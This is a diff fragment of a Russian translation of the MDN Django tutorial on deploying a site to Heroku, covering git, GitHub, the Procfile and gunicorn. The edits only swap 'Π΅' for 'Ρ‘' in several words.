">Π’ основном это просто Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΈ Ссли Π²Ρ‹ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ ΠΏΠΎΠ»ΡŽΠ±ΠΈΡ‚Π΅ Π΅Π³ΠΎ, ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ вашСго прилоТСния Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ простым.</span></span></li>
</ul>
-<p><span id="result_box" lang="ru"><span title="While Heroku is perfect for hosting this demonstration it may not be perfect for your real website.">Π₯отя Heroku идСально ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для провСдСния этой дСмонстрации, ΠΎΠ½Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ идСальна для вашСго Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ сайта. </span><span title="Heroku makes things easy to set up and scale, at the cost of being less flexible, and potentially a lot more expensive once you get out of the free tier.">Heroku ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ настройку ΠΈ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π·Π° счСт мСньшСй гибкости ΠΈ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, обойдСтся Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π΄ΠΎΡ€ΠΎΠΆΠ΅, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ ΠΈΠ· свободного уровня.</span></span></p>
+<p><span id="result_box" lang="ru"><span title="While Heroku is perfect for hosting this demonstration it may not be perfect for your real website.">Π₯отя Heroku идСально ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для провСдСния этой дСмонстрации, ΠΎΠ½Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ идСальна для вашСго Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ сайта. </span><span title="Heroku makes things easy to set up and scale, at the cost of being less flexible, and potentially a lot more expensive once you get out of the free tier.">Heroku ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ настройку ΠΈ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π·Π° счёт мСньшСй гибкости ΠΈ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, обойдётся Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π΄ΠΎΡ€ΠΎΠΆΠ΅, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ ΠΈΠ· свободного уровня.</span></span></p>
<h3 id="Как_Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚_Heroku">Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Heroku?</h3>
@@ -217,13 +217,13 @@ with open('/etc/secret_key.txt') as f:
<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_рСпозитория_прилоТСния_Π½Π°_Github">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ рСпозитория прилоТСния Π½Π° Github</h3>
-<p><span id="result_box" lang="ru"><span>Heroku тСсно ΠΈΠ½Ρ‚Π΅Π³Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π° с систСмой управлСния вСрсиями исходного ΠΊΠΎΠ΄Π° <strong>git</strong>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π΅Π΅ для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ / синхронизации Π»ΡŽΠ±Ρ‹Ρ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ вноситС Π² ΠΆΠΈΠ²ΡƒΡŽ систСму.</span> <span>Он Π΄Π΅Π»Π°Π΅Ρ‚ это, добавляя Π½ΠΎΠ²Ρ‹ΠΉ Β«ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉΒ» Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ heroku с ΠΈΠΌΠ΅Π½Π΅ΠΌ heroku, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ для вашСго источника Π² ΠΎΠ±Π»Π°ΠΊΠ΅ Heroku.</span> <span>Π’ΠΎ врСмя Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ <strong>git</strong> для хранСния ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π² вашСм Β«masterΒ» Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ.</span> <span>Когда Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ свой сайт, Π²Ρ‹ синхронизируСтС свои измСнСния Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ Heroku.</span></span></p>
+<p><span id="result_box" lang="ru"><span>Heroku тСсно ΠΈΠ½Ρ‚Π΅Π³Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π° с систСмой управлСния вСрсиями исходного ΠΊΠΎΠ΄Π° <strong>git</strong>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π΅Ρ‘ для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ / синхронизации Π»ΡŽΠ±Ρ‹Ρ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ вноситС Π² ΠΆΠΈΠ²ΡƒΡŽ систСму.</span> <span>Он Π΄Π΅Π»Π°Π΅Ρ‚ это, добавляя Π½ΠΎΠ²Ρ‹ΠΉ Β«ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉΒ» Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ heroku с ΠΈΠΌΠ΅Π½Π΅ΠΌ heroku, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ для вашСго источника Π² ΠΎΠ±Π»Π°ΠΊΠ΅ Heroku.</span> <span>Π’ΠΎ врСмя Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ <strong>git</strong> для хранСния ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π² вашСм Β«masterΒ» Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ.</span> <span>Когда Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ свой сайт, Π²Ρ‹ синхронизируСтС свои измСнСния Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ Heroku.</span></span></p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> <span id="result_box" lang="ru"><span>Если Π²Ρ‹ ΠΏΡ€ΠΈΠ²Ρ‹ΠΊΠ»ΠΈ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠ΅ΠΉ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния, Π²Ρ‹, вСроятно, ΡƒΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ git ΠΈΠ»ΠΈ ΠΊΠ°ΠΊΡƒΡŽ-Π»ΠΈΠ±ΠΎ Π΄Ρ€ΡƒΠ³ΡƒΡŽ систСму SCM.</span> <span>Если Ρƒ вас ΡƒΠΆΠ΅ Π΅ΡΡ‚ΡŒ git-Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ этот шаг.</span></span></p>
</div>
-<p><span id="result_box" lang="ru"><span>БущСствуСт мноТСство способов Ρ€Π°Π±ΠΎΡ‚Ρ‹ с git, Π½ΠΎ ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· самых простых являСтся созданиС ΡƒΡ‡Π΅Ρ‚Π½ΠΎΠΉ записи Π² <a href="https://github.com/">Github</a>, созданиС рСпозитория Ρ‚Π°ΠΌ, Π° Π·Π°Ρ‚Π΅ΠΌ синхронизация с Π½ΠΈΠΌ локально:</span></span></p>
+<p><span id="result_box" lang="ru"><span>БущСствуСт мноТСство способов Ρ€Π°Π±ΠΎΡ‚Ρ‹ с git, Π½ΠΎ ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· самых простых являСтся созданиС ΡƒΡ‡Ρ‘Ρ‚Π½ΠΎΠΉ записи Π² <a href="https://github.com/">Github</a>, созданиС рСпозитория Ρ‚Π°ΠΌ, Π° Π·Π°Ρ‚Π΅ΠΌ синхронизация с Π½ΠΈΠΌ локально:</span></span></p>
<ol>
<li>ΠŸΠΎΡΠ΅Ρ‚ΠΈΡ‚Π΅ <a href="https://github.com/">https://github.com/</a> ΠΈ создайтС Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚.</li>
@@ -296,9 +296,9 @@ Changes to be committed:
<p>Когда эти ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ°Ρ‚ΡΡ, Π²Π΅Ρ€Π½ΠΈΡ‚Π΅ΡΡŒ Π½Π° страницу Github Π³Π΄Π΅ Π²Ρ‹ создали свой Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ, ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ страницу, ΠΈ ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ΠΎ. ΠŸΡ€ΠΈ надобности ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ Π½Π° Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ - ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΡ‚Π΅ Ρ†ΠΈΠΊΠ» Π²Π²ΠΎΠ΄Π° ΠΊΠΎΠΌΠ°Π½Π΄Β add/commit/push.</p>
<div class="note">
-<p><strong>Подсказка:</strong> Π­Ρ‚ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ для создания Ρ€Π΅Π·Π΅Ρ€Π²Π½ΠΎΠΉ ΠΊΠΎΠΏΠΈΠΈ вашСго «ванильного» ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° β€” Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ измСнСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ собираСмся ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ…, ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ для развСртывания Π½Π° любой ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ΅ (ΠΈΠ»ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</p>
+<p><strong>Подсказка:</strong> Π­Ρ‚ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ для создания Ρ€Π΅Π·Π΅Ρ€Π²Π½ΠΎΠΉ ΠΊΠΎΠΏΠΈΠΈ вашСго «ванильного» ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° β€” Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ измСнСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ собираСмся ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ…, ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ для развёртывания Π½Π° любой ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ΅ (ΠΈΠ»ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</p>
-<p><em>Π›ΡƒΡ‡ΡˆΠΈΠΉ способ</em> ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это - ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <em>git</em> для управлСния вашими измСнСниями. Π‘ <em>git</em> Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ старой вСрсии, Π½ΠΎ ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Π΅ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ Β«Π²Π΅Ρ‚ΠΊΠ΅Β» Π²Π°ΡˆΠΈΡ… производствСнных ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, and cherry-pick - Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ измСнСния для пСрСмСщСния ΠΌΠ΅ΠΆΠ΄Ρƒ вСтвями производства ΠΈ развития.Β <a href="https://help.github.com/articles/good-resources-for-learning-git-and-github/">Π˜Π·ΡƒΡ‡Π΅Π½ΠΈΠ΅ Git</a>Β Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ‚ΠΎΠΈΡ‚ΡŒ усилий, но это Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° Ρ€Π°ΠΌΠΊΠΈ Π΄Π°Π½Π½ΠΎΠΉ Ρ‚Π΅ΠΌΡ‹. Π‘Π°ΠΌΡ‹ΠΉ простой способ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это - просто ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ Π² Π΄Ρ€ΡƒΠ³ΠΎΠ΅ мСсто. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ‚ΠΎΡ‚ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°ΠΈΠ»ΡƒΡ‡ΡˆΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ соотвСтствуСт вашим знаниям git!</p>
+<p><em>Π›ΡƒΡ‡ΡˆΠΈΠΉ способ</em> ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это - ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <em>git</em> для управлСния вашими измСнСниями. Π‘ <em>git</em> Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ старой вСрсии, Π½ΠΎ ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Ρ‘ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ Β«Π²Π΅Ρ‚ΠΊΠ΅Β» Π²Π°ΡˆΠΈΡ… производствСнных ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, and cherry-pick - Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ измСнСния для пСрСмСщСния ΠΌΠ΅ΠΆΠ΄Ρƒ вСтвями производства ΠΈ развития.Β <a href="https://help.github.com/articles/good-resources-for-learning-git-and-github/">Π˜Π·ΡƒΡ‡Π΅Π½ΠΈΠ΅ Git</a>Β Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ‚ΠΎΠΈΡ‚ΡŒ усилий, но это Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° Ρ€Π°ΠΌΠΊΠΈ Π΄Π°Π½Π½ΠΎΠΉ Ρ‚Π΅ΠΌΡ‹. Π‘Π°ΠΌΡ‹ΠΉ простой способ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это - просто ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ Π² Π΄Ρ€ΡƒΠ³ΠΎΠ΅ мСсто. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ‚ΠΎΡ‚ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°ΠΈΠ»ΡƒΡ‡ΡˆΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ соотвСтствуСт вашим знаниям git!</p>
</div>
<h3 id="ΠžΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ_ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅_для_Heroku">ΠžΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ для HerokuΒ </h3>
@@ -311,13 +311,13 @@ Changes to be committed:
<pre class="notranslate">web: gunicorn locallibrary.wsgi --log-file -</pre>
-<p>Β«web:Β» сообщаСт Heroku, Ρ‡Ρ‚ΠΎ это Π²Π΅Π± динамичСский и ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ HTTP-Ρ‚Ρ€Π°Ρ„ΠΈΠΊ. ΠŸΡ€ΠΎΡ†Π΅ΡΡ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ начнСтся Π² этом динамичСски, - это gunicorn, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся популярным сСрвСром Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅Ρ‚ Heroku. ΠœΡ‹ запускаСм Gunicorn, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΎΠ½Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ locallibrary.wsgi (созданный с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ нашСго скСлСта прилоТСния: /locallibrary/wsgi.py).</p>
+<p>Β«web:Β» сообщаСт Heroku, Ρ‡Ρ‚ΠΎ это Π²Π΅Π± динамичСский и ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ HTTP-Ρ‚Ρ€Π°Ρ„ΠΈΠΊ. ΠŸΡ€ΠΎΡ†Π΅ΡΡ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ начнётся Π² этом динамичСски, - это gunicorn, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся популярным сСрвСром Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅Ρ‚ Heroku. ΠœΡ‹ запускаСм Gunicorn, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΎΠ½Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ locallibrary.wsgi (созданный с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ нашСго скСлСта прилоТСния: /locallibrary/wsgi.py).</p>
<h4 id="Gunicorn">Gunicorn</h4>
<p><a href="http://gunicorn.org/">Gunicorn</a>Β Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌΡ‹ΠΉ http сСрвСр с Django Π½Π° Heroku (Как ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π² Procfile Π²Ρ‹ΡˆΠ΅). Π­Ρ‚ΠΎ чистый python http сСрвСр для WSGI ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ мноТСство ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½Ρ‹Ρ… python процСссов Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… ΠΎΠ΄Π½ΠΎΠ³ΠΎ динамичСского (посмотритС <a href="https://devcenter.heroku.com/articles/python-gunicorn">Deploying Python applications with Gunicorn</a> для получСния большСй ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ).</p>
-<p>Π’Π°ΠΊΠΆΠ΅ Π½Π°ΠΌΒ Π½Π΅ понадобится <em>Gunicorn</em> для обслуТивания нашСй LocalLibrary прилоТСния Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, ΠΌΡ‹ установим это Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ стал Ρ‡Π°ΡΡ‚ΡŒΡŽ Π½Π°ΡˆΠΈΡ… Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠΉ ΠΊ Heroku для настройки Π½Π° ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌ сСрвСрС.</p>
+<p>Π’Π°ΠΊΠΆΠ΅ Π½Π°ΠΌΒ Π½Π΅ понадобится <em>Gunicorn</em> для обслуТивания нашСй LocalLibrary прилоТСния Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, ΠΌΡ‹ установим это Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ стал Ρ‡Π°ΡΡ‚ΡŒΡŽ Π½Π°ΡˆΠΈΡ… Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠΉ ΠΊ Heroku для настройки Π½Π° ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΌ сСрвСрС.</p>
<p>Установка <em>Gunicorn</em> локально Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹ΠΉ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Β <em>pip</em> (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ установили ΠΊΠΎΠ³Π΄Π°Β <a href="/en-US/docs/Learn/Server-side/Django/development_environment">настраивали срСду Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ</a>):</p>
@@ -330,11 +330,11 @@ Changes to be committed:
<p>ΠœΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ Heroku для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ этой ситуации Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² использовании <a href="https://elements.heroku.com/addons#data-stores">надстройки Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…</a>Β ΠΈ настройкС Π²Π΅Π±-прилоТСния с использованиСм ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ· <a href="https://devcenter.heroku.com/articles/config-vars">ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ срСды</a>, установлСнной надстройкой. БущСствуСт мноТСство ΠΎΠΏΡ†ΠΈΠΉ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, Π½ΠΎ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <a href="https://devcenter.heroku.com/articles/heroku-postgres-plans#plan-tiers">hobby ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ</a>Β Π²Β Π±Π°Π·Π΅Β Π΄Π°Π½Π½Ρ‹Ρ… <em>postgres Heroku</em>, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это бСсплатно, поддСрТиваСтся Django ΠΈ автоматичСски добавляСтся Π² наши Π½ΠΎΠ²Ρ‹Π΅ прилоТСния Heroku ΠΏΡ€ΠΈ использовании бСсплатного уровня динамичСского ΠΏΠ»Π°Π½Π° для Ρ…ΠΎΠ±Π±ΠΈ.</p>
